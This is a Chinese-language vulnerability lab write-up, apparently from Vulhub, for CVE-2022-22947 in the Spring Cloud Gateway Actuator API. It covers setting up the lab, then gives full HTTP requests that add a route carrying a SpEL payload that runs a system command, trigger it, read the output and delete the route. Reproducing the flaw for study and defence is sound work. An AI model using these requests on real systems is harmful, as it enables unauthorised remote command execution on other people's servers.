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Spring Cloud Gateway Actuator API SpEL表达式注入命令执行 CVE-2022-22947

漏洞描述

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

参考链接:

  • https://tanzu.vmware.com/security/cve-2022-22947
  • https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/

环境搭建

Vulhub执行如下命令启动一个使用了Spring Cloud Gateway 3.1.0的Web服务:

docker-compose up -d

服务启动后,访问http://your-ip:8080即可看到演示页面,这个页面的上游就是example.com。

image-20220303205830334

漏洞复现

利用这个漏洞需要分多步。

首先,发送如下数据包即可添加一个包含恶意SpEL表达式的路由:

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 328

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
  }],
"uri": "http://example.com",
"order": 0
}

image-20220303210101595

然后,发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行:

POST /actuator/gateway/refresh HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image-20220303210310706

发送如下数据包即可查看执行结果:

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image-20220303210439398

最后,发送如下数据包清理现场,删除所添加的路由:

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

image-20220303210537118

开源POC

  • Xray

  • https://github.com/chaosec2021/CVE-2022-22947-POC